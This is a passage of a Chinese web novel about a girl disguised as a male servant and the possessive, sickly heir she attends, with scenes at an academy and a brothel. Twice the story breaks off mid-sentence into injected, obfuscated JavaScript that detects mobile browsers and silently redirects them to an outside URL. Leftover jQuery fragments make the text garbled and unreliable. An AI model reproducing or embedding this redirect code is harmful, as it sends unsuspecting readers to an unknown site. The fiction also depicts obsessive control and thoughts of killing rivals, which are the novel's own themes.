拒婚当夜,京城里沸沸扬扬全是关于世子断袖的说法,而裴颂简本人却只着纱衣,燃上红烛安静等着小环,这么多年每次她都会来哄他,这次也一样。可直到天明,裴颂简支撑不住几乎呕血,王妃却带人将他关进楼阁之上,冷漠地睨着儿子,笑道:“蠢货,李小环连夜逃出京城,为的还不是躲你。她只不过睡你一次,你竟以为她心悦于你?呵......” 【含虐男,抛弃男主情节,男主倒贴,女主心悦别人等情节,男女主性格皆有瑕疵,介意勿骂】 ------------------------------------- 卯正二刻,冬日的天仍旧一片灰蓝。李小环养的公鸡大花开始打鸣,她也迷迷糊糊睁眼,一只手胡乱去摸枕边的簪子,准备起床去叫世子洗漱。然而簪子没摸到,李小环手心一片温热,她挤开右眼往旁边瞥,昏暗的床帐里,一身雪白里衣的少年蹭在她颈侧,发丝交缠之间,他的呼吸平稳,苍白的脸颊也蕴出血色来。 “世子......你昨夜什么时候又跑来了?” 李小环已经习惯裴颂简出现自己被窝里了,轻轻捏了两下他的脸,等少年抖动睫羽,慢悠悠醒来又搂住她的脖子蹭的时候。她撑起身子,侧头解着两人缠在一起的发丝。 裴颂简从小病弱,各种汤药喝下来,仍旧是身子单薄,发丝微微泛黄,染着点褐色,日光下握在手里,好似一段流淌的秋水。李小环熟练地解开发丝,随手挽了下头发,就掀开被子下床。拨弄了下已经渐渐微弱的炭火,她转身跪到裴颂简枕边,掖了下被子,裴颂简抱住她的胳膊不放,凤眼迷蒙湿润,噙着晨雾一般,埋怨地说:“我一个人睡总觉得冷,要你来陪你又不肯。我只能趁着你睡着偷偷钻你被窝,不过你倒是心大,怎么都不醒。” “王妃说了下人宿在主子房里不成规矩,所以我最近才不敢去呢。”李小环搬出王妃,一边说一边穿过世子腋下,熟捻地给他穿上外衣,最后掏出掖在衣领里的头发,抱着他下床坐到梳妆台前。 裴颂简搂着她的脖子,乖巧好似个绢布娃娃一般,坐下来等她束发时,少年偷偷从铜镜里窥视着李小环的一举一动。 小环做什么都风风火火的,动静很大,耐心却不好,自小到他跟前伺候,裴颂简还未见过她喜欢某样事物超过三个月。好在小环脑子转得快,煎药驾车还有束发更衣等细微小事,她总能将裴颂简安排得妥当。当然这也是王妃不怎么喜欢李小环,却一直任凭她留在世子身边的原因。 李小环将世子的衣物准备好,又打开妆匣,随手拿出一根碧玉翡翠盘龙簪,跪在裴颂简身后给他束好头发。裴颂简指尖无聊地揪着小环腰带上的穗子,等她束好发髻,又端来铜盆给他洗漱时,他才慢吞吞地说:“小环,你总是这么照顾我,会不会心里觉得我是个麻烦,是个没用的废……” “冤枉啊,世子!到底是谁这么歹毒在你跟前乱攀乱咬污蔑我!” 李小环反应很大,扑通跪到了裴颂简腿边,抓着他的衣角,满脸愤愤地辩解。裴颂简伸手要扶她,但慢了一步,垂眼看到她又跪自己,也有些气结,推了她一把:“我不过问一句?就是想要你哄哄我,说几句好听的话。你这是做什么,小环,我说过你再跪我,我就生气了,我就不吃药了,让腿疾疼死我才好呢。” “哎呦,世子,你想听好话直接跟我说啊,这么问,我的胆都要吓破了...”李小环膝盖往前蹭了蹭,直接坐到裴颂简身旁,好在椅子宽敞,可以容纳两个单薄清瘦的少年人。 李小环揽着裴颂简,侧身抱着他,手指有一搭没一搭地捏着他的耳垂,笑嘻嘻地哄人:“世子怎么会是麻烦呢?世子是小环心里最漂亮最好看的人,满京城连带着宫里的那些贵人都比不上您。再说了,戏词里不都唱什么秋水为神玉为骨,我每次听都觉得是在说您呢.......” “那你就只喜欢我的脸啊,我哪天破相了,你就不愿意和我玩了是不是?” 小少年说着,双眸噙满雾气,赌气别过脸不看李小环,但早就熟知主子脾气的李小环先一步捏住了他的下巴,强硬地掰过来,裴颂简眼尾晕开水红,眉头微蹙,瞧着气愤,但桌下的手指却因为兴奋攥紧到指节泛白。 但小环看着泪汪汪的少年,气势又软下来,低头蹭了蹭他的额头,好脾气地承诺:“不会,不管主子变成什么模样,小环都喜欢主子,都会爱护主子,会对主子好一辈子的。” “可是你都不肯叫我阿简,你明明在书院就会喊徐长安他们的名字.......” “额,可是我喊他们的名字是为了打架的时候增加气势啊。”李小环无奈地伸手给裴颂简擦眼泪,他顺势窝到她怀里,目光一瞬间阴郁下来,声音却依旧含着哭腔,颤巍巍地说:“我不管,小环,我就要你喊我阿简,你能不能喊我一声阿简?” 大花在院子里又咯咯哒第二次了,嗓子都好似哑得要劈叉。李小环看了眼时辰,生怕在耽误下去,又要延误去书院上早课了,虽说夫子不敢对裴颂简多说什么,但李小环怕的是王妃啊。 于是忙捧住少年的脸,小声哼唧了一句阿简,又他抿唇笑开时,将他打横抱在怀里,冲到外室去唤刘叔准备马车,还有世子上学要用到的物件。 裴颂简看着她忙碌,偷偷笑着搂紧小环的脖子,又因为室外寒气大,少年更心安理得地将脸埋在小环颈窝,微微垂着眼睫,说:“阿简.......以后小环要这一直这么喊我,我一定乖乖喝药上学,绝不再和你闹了。” 李小环叹气,接过大氅裹在裴颂简身上,望着少年水湛湛的凤眼,嗯了一声,一团白气在她红润的唇边消散。 她不太信裴颂简的话,因为他前几日才因为在饭堂帮程云明端了下餐盘,裴颂简就气到掉眼泪,饭一口没吃,自己撑着坐轮椅也不让李小环抱他,最后回舍房时不小心摔倒,膝盖乌青,腰侧也有淤血。 李小环吓得不顾裴颂简反对,将他抱到医馆,结果他又使性子不让医师涂药,非说辱了他的清白。李小环一夜没睡本就头疼,气急了也顾不得尊卑有别,抽出发带将少年细瘦的手腕绑住,膝盖抵开他的双腿,强硬地将裴颂简的衣物扒开,露出雪白的肩头,旖旎的腰线一直向下,她抠出冰凉的药膏涂在少年腰侧,指下是温热的肌肤,他轻轻颤栗,双目噙满水汽望着身上的小环,而颊边眼下,却是一片桃野粉艳,好似溪泉溅山花。小环不经意瞥了一眼,登时愣了片刻,反应过来后红着脸匆忙抹好药膏,两三下将衣服给裴颂简穿好。 小环杵在床边像根木头似的,脸颊红得好似一团火烧云。裴颂简真是又气又笑,伸手勾住她的腰带,哼了一声埋怨她:“你欺负我,小环,你惯会对旁人那么好,就偏偏欺负我一个可怜的瘸子!” “没有,世子在我心里才是最重要的!我……我以后再也不帮别人端餐盘就是了。”小环说不过他,顺着少年的力道蹲下身,又挽起他的裤脚,将药膏糅在淤青的膝盖上。 裴颂简下意识往后躲了一下,但被小环即刻攥住了脚踝,少年好似被她温热的手心烫了一下,颤着身子,雾蒙蒙地仰视着小环,最终还是将脸埋在了臂弯里,脚心踩着小环的膝盖,乖乖地让她涂药。 “小环,你说什么我都会信的,所以别骗我,也别欺负我好不好?” 裴颂简的声音还噙着哭腔,闷闷的,小环无端感觉心头也有些潮湿,忙应下他,几乎没过脑子,只是搂着少年的腰将他抱到怀里轻声地哄:“我爱护世子还来不及呢,我怎么会欺负你?” “别哭,你最心疼处是你。” 小环的话音落在耳边,少年体内涌动着无以言说的满足,灵魂几乎都在颤抖,他死命掐着手心,才没有将小环勒死在怀里。 他太想要小环了,想到几乎要生病了。靠在她单薄的肩头,裴颂简熟稔地勾起苍白可怜的笑容,泪湿的眼睫遮掩住阴郁,他嗯了一声,搂住小环说:“好,我信你。” 亲王府的马车十分宽敞,但清和书院在灵彻山山顶,登往书院大门的最后一段阶梯陡峭,又有凌云梯之称,意在考验各位学子求学子决心。所以即便是天潢贵胄想进清和书院,也得自己一步步爬上去。而裴颂简双腿有旧疾,不能过度劳损,原本院长在王妃的说和之下,已经应允了世子可以坐轿走完凌云梯。但十二岁那年入学,徐长安他们几个死对头故意在世子的轿子旁大声取笑,说什么无腿鸟还想飞多高呢。李小环气得咬牙切齿,将安静坐下轿子一言不发的苍白少年背到背上,生生爬完了凌云梯。最后一步时双膝打颤,竟直接跪到在书院门槛前。裴颂简抱着大汗淋漓晕倒过去的小环,心疼得淌了满脸眼泪,最后进入书院之后,徐长安他们也因为言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15336611|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行不端被罚去后山打扫了两个月的马粪。 刘叔照例在最后一段山路前停下马车,李小环推醒怀里的少年,他不怎么情愿地撑起身子,而后在小环下车之后,撩开帘子,露出一只雪白纤长的手,指节冻得微微泛红,搭在小环肩头,稳稳地攀上她的脊背,就像是缠绕着乔树生长的一株凌霄花。 李小环今年十五岁,比着裴颂简还要小一岁,身量比他略矮了一些,但已经练出一层薄薄的肌肉覆在身上,所以即便是女扮男装,依旧撑出一副潇洒风流的少年郎模样,丝毫不显弱气。背着裴颂简上山,如今也是轻轻松松,将他安置到书院门口的轮椅上时,小环仍旧气定神闲,只有额角生了一层薄汗,裴颂简掏出手帕捏着她的脸轻轻擦拭。 胡乱捋了把额角的碎发,李小环推着裴颂简往书斋走去,路上程云明也刚好才到,远远瞧见了小环和世子,便一路小跑追上来,刚喊了一声小环郎君,脚下一滑,将要跌到时,李小环敏捷地伸手扶了他一把,等到程云明傻笑着站稳,小环松手,可轮椅上的世子早已满眼阴翳,敌视地看着程云明。 程云明是礼部尚书的次子,心思单纯,有几分读书人的呆气,于是常被徐长安他们几个纨绔欺负。而李小环又打小和徐长安打架,从景华大街打到清和书院,所谓敌人的敌人就是朋友。所以程云明对小环和世子颇有好感,十分殷切地想要套近乎。 尤其是世子身边的小环郎君,不仅潇洒风流,为人又豪迈仗义,虽然总是自谦为奴才,但行事却颇有古代侠客之遗风,令程云明十分心折。 “雪天路滑,程公子还是小心得好。”小环出口提醒他,而后转身时手指被世子攥住,他仰着脸,下巴从毛领里露出,眼尾泛出一点红,可怜地对小环说:“好冷啊,小环,我腿又疼了,能不能别和无关紧要的人叙旧了,我想回书斋预习功课。” 作为无关紧要人士,程云明并没有意识到自己被讨厌了,反而乐呵呵地附和,走到小环身边说:“是啊是啊,外面风大,小环郎君,我们一起回书斋去吧。” 李小环扯了扯嘴角,默默往前拉出一段距离,在裴颂简将她手指捏断之前,忍痛从牙缝里挤出笑,对程云明说:“我带世子先回舍房放行李,程公子先去吧,我们并不同路。” 说完,小环也不等程云明回答,转身推着裴颂简进了一条小路,很快消失在满院的青松之后。到了后院,学子的喧闹声渐渐远了,远处雪白的山峦曲线蜿蜒,李小环绕到裴颂简面前,蹲下身摸了摸他的脸,果然摸到一片冰凉的水渍。 “怎么又哭了?世子,因为我刚才扶了程云明一下吗?” “不是......”伸手揽住小环的脖子,少年倾身窝到她怀里,声音沉闷潮湿,不安地揪着她的衣襟说:“小环,我有点怕,每次你和别人谈笑风生的时候,我都只能仰着脸看你们,甚至连你们眼底的笑意都看不清楚。小环,我是个废人,是你的麻烦,我......我怕......” “怕什么?世子,阿简?”李小环心头一阵酸涩,捏着少年的下巴,凑近了蹭了蹭他的脸,两人打小相互安抚的习惯,像依偎在一起取暖的小兽。裴颂简觉得,和心上人肌肤相贴,就是另一层意义的亲吻。 一声阿简喊得少年肩膀颤了一下,他泪蒙蒙地看着小环,颊边晕开桃粉,终于翘起唇角笑开了:“我怎么样都会怕的,小环,但你一喊我阿简,我就忍不住心软了,舍不得闹你。” 寒风裹着雪粒拍到脸上,小环却莫名觉得有些燥热,世子生得过分貌美,清俊的眉眼之间,因为常年病弱,不自觉萦绕着一股琉璃易碎的脆弱感。保护世子从小刻在她的身体本能中,而裴颂简又常常没有分寸地亲近于她,实在考验小环的定力。 可偏偏,因为女扮男装,在世子同她亲昵撒娇时,她又有些莫名烦躁,各种迹象都昭示着世子是个断袖,钟情男子,可偏偏小环风流俊俏的皮下是个少女。所以世子越喜欢她,她越清楚两人毫无相好的可能。 “不闹了那我们回书斋去吧,一会夫子上课说不定会抽查功课。”燥热过后便是一阵失落,李小环扶着少年的肩膀,将他推开,自己绕到轮椅后,起身时错过了裴颂简泪眼中一闪而过的戾气。 他想不明白,为什么又是这样?小环为什么总是忽近忽远,在他以为可以捅破窗户纸时,就猛地将他推开? 为什么?不喜欢我这张脸吗,小环? 为什么?讨厌我这个瘸子残缺的身体吗?可是小环,你说过最心疼我的...... 心口划开一道道血痕,但裴颂简仍是温存地笑着,攥紧手指,抬眼看着小环,乖巧地点头道好。没关系的,他咬牙劝告自己,日子还长呢,小环永远只能陪在他身边。裴颂简不是徐长安那种目光短浅的蠢货,他想要小环,就绝不会使下作手段让她注目自己,他要的是小环心甘情愿被他纠缠,求的是小环一心一意,永远陪在他身边,之死靡它。 47.在古早虐文里女扮男装当狗腿子后(二) 书斋的许夫子是武宗时期的状元,告老还乡之后又被请到清和书院负责学子的策论和礼仪。他对于寒门和世家态度并无二致,从不趋炎附势,因此书院上下对许夫子都很尊重。许夫子这些年最心仪的学生当属裴颂简,他能察觉到此子悟性极佳,对朝政民生都见解颇深,不是单纯的掉书袋。但偏偏,许夫子也能看出,裴颂简并未雄心壮志,反而时常心不在焉,有次在课堂上瞥到裴颂简提笔在书本描划,他以为是终于用功记笔记了,可凑近一看,却发现裴颂简在国学一页上画了个翩翩少年,提剑漫舞的姿态,分明就是他身边伺候那个李小环。 许夫子倒是听闻过世家大族,那些少爷会拿自己的书童泻火,但他并不觉得裴颂简会是这种轻浮之辈,况且他也见过李小环,那小郎君时常帮他搬书挑水,周到细致,是个很不错的少年人。他们不像是会做出那种苟合之事的主仆,那显而易见,只有裴颂简是个断袖这一种解释了。 眉心直跳,许夫子竟不知该怎么面对这得意门生,只能看到他一时冷若冰霜,一时见到小环郎君,又笑容楚楚地伸手揽住她的脖子,好似一只矜贵的狸奴顶了顶主人的手心。 今日也是,临近年考,许夫子划了些考点让学子们自行温书,而裴颂简坐在靠窗的位置,书本都没翻开,只是撑着下巴呆呆望着李小环离开的方向,风雪依旧,不知又过了多久,忽然见一个护院着急忙慌地跑进来,对许夫子报告说:“夫子夫子救命啊,前头王公子跳进了冰湖里寻短见,小的们本来在温酒吃,听见声响后赶过去,发现湖中心有个人在扑腾。我们当中就小环弟弟会水,她先跳进去将人救了上来,但因为水凉风寒,现下王公子已经昏迷,小环弟弟也冻得意识不清,如今大雪封山,院长没在,只有您精通医术,求您救救王公子和小环.......” 那护院话没说完,只听见扑通一声,窗边那矜贵冷漠的世子竟狼狈地扑倒了地上,双目殷红,恶狠狠地盯着他,单薄的身子微微颤栗,眉眼之间戾气横生,本是瘸子的裴颂简扶着桌角,竟是颤巍巍站了起来。 原本世子的腿疾经过宏石道长多年的调理,其实已经渐渐好了,只是他贪恋小环处处抱着他的亲昵感觉,所以每逢雨雪天气,便推脱腿疼,让小环抱着他行走。如今骤然听闻小环因救旁人陷入危险,顾不得许多,忍着不适站起身,踉跄着往同心湖奔去。一路上雪深地滑,裴颂简不知摔了多少跤,鼻头眼尾沁红,披风也掉了,眼睫一簇簇被泪沾湿,挺翘这黏着雪粒。 他好不容易跑到湖边,却见小环已经披上了程云明的外衫,两个人一起在亭子里点起火堆,将晕倒的王澄怀拖到火堆旁,他们两个并肩站着,侧影极其登对。程云明要比小环高出一头,生得又健壮,剑眉星目,很有男子气概的长相。而小环虽然俊俏,但脸颊轮廓和眼型都过于圆润,目光融融,唇瓣美好嫣红,不仔细看总会将小环错认成女孩。 如今亭子里两个人挨得极近,凑在一起不知在讨论什么,而程云明低头看着小环笑,不时点头,画面竟然和谐到裴颂简几欲呕出一口淤血来。 贱人。 裴颂简现下只想攥把匕首划破程云明那张蠢脸,然后再把滴血的刀塞到小环手里,跪下乞求她:“小环,好人,你喜欢谁,我都杀了好不好?你要是恨我,就杀我,但不能不要我.......小环,你说过最心疼我的.......你怎么能骗我呢.......” 少年心底一瞬间不知滑过多少阴暗想法,满眼戾气还没来得掩盖,却见小环忽然回头,疑惑的目光落到裴颂简身上的瞬间,他膝盖一软扑到雪地里。 小环喊了一声世子,忙跑过去将少年单薄冰凉的身子紧紧搂在怀里,她的脸颊贴着裴颂简的脸颊,轻轻蹭着给他过渡热气。裴颂简窝在她怀里,只是抽噎着哭,却在余光瞥到程云明往这边走来时,猝不及防扬起脖颈,粉白唇瓣蹭过小环的下唇,温热柔软的触感令他控制不住地战栗一刻,而后飞快分离,端着一副无辜的可怜神态对小环说:“你身上好冷啊,小环,我给你暖暖,你把手伸到我衣襟里焐着吧。” 小环明明白白地感受到了方才唇上的温热,怔怔地望着怀里的少年,可偏偏他湿润的瞳孔里装满了无辜。远处响起积雪压断松枝的喀嚓声,少女心底某个隐秘的地方也似乎碎了。她不敢问裴颂简刚才是什么意思,但心底大概清楚,他确实喜欢男人,而她也不可能这么假凤虚凰地骗他一辈子。 胳膊僵硬地抱着裴颂简,李小环站起来猛地脱力踉跄一下,堪堪要摔到时,程云明托住她的腰,她清醒过来站稳身子,眼眶微红地朝他道谢,而后扶着世子的肩膀让他站定。 她情绪没什么起伏,只是语气僵硬地说:“道长说过,您不能总是依赖轮椅,要自己多下地走走。世子,不要总是撒娇,您早晚也得学会自己走路的。” “你什么意思啊,小环?”裴颂简艰难地扯起唇角,冷笑着问她,但手却下意识去抓她的衣袖,只不过被李小环侧身避开了。 “这都是王妃的意思,算了,现下最要紧的是帮王公子苏醒过来,程云明,你去找医师,我下山去莲青楼将浮云公子请过来。” 李小环说完,烦躁地转身要走,可腰肢猛地被箍住,她顿时觉得呼吸不顺,好似被毒蛇缠住,阴冷黏腻的目光凝睇着她脸上,她一点都不怀疑裴颂简想要勒死她。但下一刻,少年又松手了,只是将脸埋在她的颈侧,温热的泪珠一颗颗滑进小环的衣领里。她转身,却见世子挽着唇角,慌忙抹掉眼泪,讨好地望着她说:“我错了,小环,我不该亲你惹你心烦的。但你别去莲青楼好不好,那里都是脏男人,他们没我好看的,你想玩什么,阿简陪你玩好不好?” “世子,您吹了风,现下是冻糊涂了。”小环目光温存地看着裴颂简,伸手抿了下他脸上的泪水,叹了口气却又纵容道:“你可以跟我一起去下山,但要自己走路,不能撒娇也不能卖懒.......” “嗯嗯。”裴颂简眼底一闪而过阴郁的情绪,眨眼间跑到小环身边,仅仅牵住她的手,生怕她在将自己丢下。少年向来聪慧,深宅大院里浸染着,又自小看着母妃和其他几个侧室斗法,他太明白穷寇莫追的道理。所以哭得再骄纵,裴颂简也不过是踩着小环的底线索取爱,就像是幼年时小环带他在山上捉鸟时亲口说的:“世子,你想要捕获一只飞鸟,就不能让他察觉到你逼近的脚步。” 山路积雪,小环虽然嘴硬要裴颂简自己走,但仍紧紧地攥着他的手腕,托举着少年一半的重量。裴颂简慢吞吞地下台阶,看着小环翠眉微蹙的神态,恍惚见好似回到青云山上养病的那些年。那时候小环还不算是裴颂简的贴身小厮,只不过负责熬药,偶尔会守夜睡在世子卧房的外间地板上。 当初他十岁,内宅中父亲又新纳了一个歌姬,母亲疲于斗法,将他送到宏石道长身边后就很少再来探望过裴颂简。郁郁寡欢住了半年,他几乎没说过几句话,至多在针灸和药浴时,痛得受不住会哭出声来。而李小环总是最快给他擦眼泪,没什么规矩,偶尔急了拿手就摸他的脸。裴颂简红着眼想训斥她,但感受着温热柔软的手心,他又舍不得,最终沉默着蹭了蹭她的手,垂下眼任她一点点擦去他的泪水。 半年后裴颂简治疗到最后一个疗程,需要联系走路,可因为一开始,双腿不知道怎么迈步和发力,再加上腿疾反复,裴颂简当众摔了几次,便把自己锁在屋子里决定再也不要走路了。 那天他把自己关在屋子里直到天黑,暮色笼罩下来,裴颂简很想母亲,虽然她总不爱笑,但他还是期望母亲能对他多笑笑,而不是满脸凝重地盯着他的腿看。 一天没有吃饭,再加上练习走路和生闷气,裴颂简有些头晕,昏昏沉沉好似即将溺死在暮色中的飞虫。可就在他晕过去之前,哐当一声,门锁被砸开,一盏橙红色的烛光,像暮色中的眼睛,跳跃到他面前。 烛光后是李小环那张稚嫩的脸,她从怀里掏出两张被压扁的红糖饼,没说什么塞到裴颂简手里。小少年瞪大了眼睛,最后仍框不住泪水,接过糖饼大口大口地嚼着,眼泪流到嘴角,是又甜又涩的怪味。那天晚上吃过糖饼,李小环说要教他走路,于是挪开屋子里其他摆设,空出一大片地,她紧紧地牵着他的手,用力到嘴巴紧抿着,腮帮子鼓着气,像只出神的小麻雀。裴颂简心头也像是被雀羽轻轻扫过一样,慢慢地跟着她迈腿,很快又要摔倒时,李小环抱住了他,并且认真中带着点邀功的俏皮,说:“世子放心,我不会松开你的,你别怕摔倒。” 李小环陪他练了一夜,天微亮时,裴颂简终于能自己走到外间门口了,额发都被汗珠沾湿,他仰脸欣喜地望着李小环,她也在笑,双眼弯弯盛着点曦光。 “世子,你一定可以学会走路的,别怕,以后小环教你。”她牵住他的手,裴颂简很难描述当时的心境,天际一缕晨曦好似也破开了他心底的迷障一样。裴颂简讲不出话,只是怔怔地望着小环明亮的眼睛,他一点点将自己身体的重量托付给她,最后在李小环完全将他抱到怀里时,裴颂简闭上了眼,窗外天光明亮,他第一次竟觉得安心,是一种被允许坠落的安心。 从那之后,裴颂简开始放任自己依赖李小环,在青云山上时,他闹着想母亲,但目的却是让随行的刘管家允许小环睡到他屋子里。一开始小环睡在外间的软塌上,后来裴颂简总抱着枕头和她挤在一起。怕把世子挤到地上,李小环便自觉抱着他一起睡到了床上,两个小孩夜里精神,便蒙着被子,头抵着头,李小环悄声给他讲民间精怪杂文。裴颂简有时被吓得,但又好奇,便红着眼睛埋到小环怀里,双手双手缠着她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那日之后李小环和徐长安的梁子算是结下了,她并不明白为何世子会哭,只知道傍晚临采几个小丫鬟笑嘻嘻地跑过来,将给世子端药的她给拦下,神采奕奕道:“小环弟弟,你今个打的那个徐长安,可真是现世报呢。听说他回府的路上被人蒙着头揍了一顿,还不容易爬到将军府,之前纵马伤人的案子又被翻出来,被监察御史给捅到了陛下那里,陛下把老将军叫到宫里好一顿臭骂,现下徐长安被按在祠堂,几板子打的皮开肉绽,正罚抄当朝律法呢。” 李小环听完之后笑了一阵,将街上买的糖果子分给了小丫鬟们,而后端着药跑到裴颂简房里,他刚被王妃训完,恹恹地坐在椅子上晃着脚,李小环撞开门闯进来,暮色也似点燃的山火连绵到昏暗的屋内。她放下药碗,将徐长安的倒霉事讲给世子听。裴颂简歪头安静地看着小环手舞足蹈地说话,最后笑眯眯地伸手要她抱自己,李小环喘着气张开怀抱,端过碗给世子喂药时,他忽然攥住她的手腕问:“那你开心吗,小环?” “开心啊,我当然开心!徐长安他欺负世子,那就是在我头上拉屎!我绝不可能放过他的,这次要不是你拦住我,鼻子给他打歪......” 裴颂简被小环逗笑,扑哧翘起唇角,颊边晕开一片绯红,脸颊轻轻蹭着小环的颈侧,他像一只狡黠的小猫,舔了舔牙尖说:“小环开心就好,我只想要小环开心........” 要开心地永远留在我身边呀,小环。 ------------------------------------- 小环和裴颂简到了莲青楼门口,因为还在白日,所以门前十分冷清,卖脂粉的大娘靠着台阶打盹。李小环正准备去进去,衣袖被拽了一下,而后一根根手指挤进她的指缝,裴颂简和她十指相扣,轻抬着下巴有些蛮横地说:“我不管,楼里都是一些野男人,我要把小环抓得紧一点,不能被那些狐狸精给勾走了。” “世子......我只为了帮王澄怀请一下浮云公子去书院,又不是去寻欢作乐了。您进去才是会被王妃给狠狠责罚的.......” “我不管,你别想撇下我自己进去逍遥!”裴颂简一听她居然拒绝自己,急得直接伸手搂紧了她的脖子,少年扒在小环身上,像条黏腻但无毒的宠物蛇一样,勒得李小环喘不上气。她拍了拍他的后背,将裴颂简硬推开后,妥协道:“您可以跟我进去,但不能去后院,就在前厅喝茶等着我。不然.......” 裴颂简噙着眼泪逼视小环,大有她再说一个字就哭给她看的架势。李小环曲指勾掉他眼尾的泪珠,轻笑哄道:“不然王妃回去肯定要把我打得下不来床,阿简你是最知道王妃的手段的,我也怕啊。” 心头猛地一痛,裴颂简面色登时便苍白起来,眼里粼粼波光好似要碎了一样。他几乎是立刻松开了小环,呼吸滞住,手足无措地坐到台阶上仰头望着她说:“我、我不去了,小环,我不进去了,不要打人,我呜呜呜......我不要你再因为我挨打呜呜......害怕,害怕你流血躺在我怀里......” 48.在古早虐文里女扮男装当狗腿子(三) 裴颂简三年前回淀江祭祖,因为关乎宗族大事,要屏退闲杂人等,所以李小环等一些出身低微下人就被留在了京城。出发前一夜裴颂简仍不情愿和小环分开,哭得浑身发烫昏了过去。但王妃反而被儿子的叛逆刺激到,当即命人将裴颂简和李小环拉开,在世子昏迷期间,李小环被王妃下令关了起来,杖责二十,丢到柴房里一日只送一餐冷饭。那时裴颂简高烧不退,第三日才清醒,但刚睁眼巡视一圈,没看到小环,心头被像被攥紧似的,又痛又涨。呜咽着翻下床,他几乎是用双手撑着自己在爬,但快到门口时,王妃却掀帘走进来,冷冷睨着地上的少年,她冷漠道:“你是我的儿子,裴颂简,我知道你心里在想什么。平日只要她不影响你的前途,当个猫儿狗儿养在身边,母亲也并不在意。但你若是为了她头脑发昏,那么,母亲势必会为你铲除日后的阻碍,清楚吗?” 戏词里唱道少年不知爱恨,但那一刻,裴颂简浑身失去温度,齿关战栗,伏在地上仰脸看着母亲那一刻,他想他是恨的。在小环血淋淋地被抬到他面前,气若游丝地朝他眨眨眼,曲起食指勾了三下,做出两个人之间独有的安抚暗号时,裴颂简清楚地感受到自己心里的恨意达到巅峰。但他仍是冷静的,抱着小环朝母亲叩谢。 “母亲.......”少年眼底情绪翻涌,最终却沉寂成一片暗色的海,他抱紧了小环问母亲:“您知道儿子第一次走路时走了几步吗?” 王妃沉默地睨着裴颂简,许久未曾回答,而后直接转身带着下人掀开帘子离开。珠帘漏出的颤动光影里,世子抱着小环伶仃地跪着。他勾着头,轻轻地唇落在小环的额角,喃喃地回答自己:“三步,我走了三步。小环知道.......” 小环才是我愿意站起来行走在这世间的理由呀,母亲。 见裴颂简又似乎犯起癔症,小环却未蹲下身安抚他,平淡了扫了他一眼,将怀里的手帕递给少年,她的声音却有些远,等到裴颂简坠着泪滴抬头时,她已经转身迈入莲青楼。 裴颂简止不住打了个寒颤,目光落在小环的缥缈的影子上,他攥紧手心,却仍心底空落落的,一种注定的失落在艳阳天里又一次将他吞噬。 小环,我还是不喜欢看你的背影.......我只想,想千万次地迎面扑进你怀里。 走上二楼,李小环熟练地推开最里间的屋子,青色的纱幔掩映下,床畔垂下一支雪白的手腕,乌发泼墨似的盖在单薄的脊背上,李小环将冰凉的手直接贴在睡梦中的青年的脸上,他骤然惊醒,捏着被子拉到凶口,睁眼看清来人后,又松了口气,松开被子露出雪白的胸口和旖旎的腰线来。 “原来是你个小皮猴,过来,哥哥给你暖暖手。”床上的美人朝她招手,李小环也熟捻地走过去将手伸到他紧实的小腹上。美人身子颤了颤,而后撩了下发丝挽到耳后,问她:“来找你娘的吗?她昨夜写不出来新章,喝酒找灵感一不小心就喝过了头,现下还没醒酒呢,墨书哥哥在她房里照顾着呢。” 柳墨书是莲青楼的幕后老板,听说他在李则青屋里,李小环有点不敢去了,便窝到床上赖在美人身边,笑嘻嘻地套话:“浮云哥哥,你认识尚书家的那个王澄怀吗?他这几日有没有点你?” 浮云给小环重新辫头发的手指顿了片刻,而后混不在意地垂眼笑道:“王公子前几日和侍郎家的小女儿定了婚约,已经下聘,我便拒了他的邀约,让他好好对人家姑娘。” “可是他今日跳湖了,为你......” “不是为我,小环,你糊涂了么?”指肚摁在少女柔软的唇瓣上,浮云身子微不可查地颤了一下,细密的痛感爬上心尖,他却好似活过来一边,勾唇笑了出来,纠正道:“是王公子自己不敢面对断袖的流言蜚语,既舍不了荣华富贵的出身,也不愿对未婚妻负责,所以这才打着喜欢我的借口自砂,这怎么能算是为了我呢?” “运城的生意一部分和王尚书有合作,浮云哥哥......”推开浮云的手,李小环坐直身子,仰着脸微微祈求似的望着他,鬓边滑出一缕泼墨似的青丝,遮掩着美人疲倦的眉眼,他伸手摩挲着自己的脖颈,雪白的肌肤上还残留着上一个客人留下的吻痕。从前浮云在李小环面前还会傅粉遮掩,后来发现她似乎并不在意他和哪个达官贵人又睡到了一起。 李小环十二岁那年,还会拿着自己在王府攒下的所有银钱,跪在柳墨书脚下哭着求他别让浮云哥哥接客。但那晚浮云自己穿着艳红的衣衫,鬓边挽着鲜妍的山茶花,撑伞站在李小环面前,对大雨中瑟瑟发抖却仍跪得笔直的孩子说:“你太年轻了,小环,我想要的你根本给不起,李小环,你什么都不明白,就想替哥哥决定一生吗?” 那时的雨像巴掌一样打的李小环睁不开眼,她勾着头,盯着自己怀里那一盒子的金银钱票,踉跄着起身却又摔到,盒子摔到地上,一片金银当中,世子在青云山给她求的那串绿松石手串掉了出来。下山前小少年站在道观门口的古松前,红着脸问李小环最想要什么。她当时老实回道:“小人想要花不完的钱.......”世子抿着唇有些怜爱地笑她,伸手摸了摸小环的头发,说:“这个当然可以,绿松石寓意胜利与成功,我替小环在师父跟前求了,保佑小环往后心想事成,无往而不利。只不过.......”裴颂简又掏出一串一百零八颗的朱砂手串,盘在手中递给小环,他温存地看着她,日光过滤后金闪闪地落在他的眼睫上,“一百零八颗朱砂代表消除人生的一百零八种烦恼,寓意平安顺遂,喜乐无忧。小环,我只怕一百零八颗都不够,只想要你好,最好,更好一点........知道吗?” 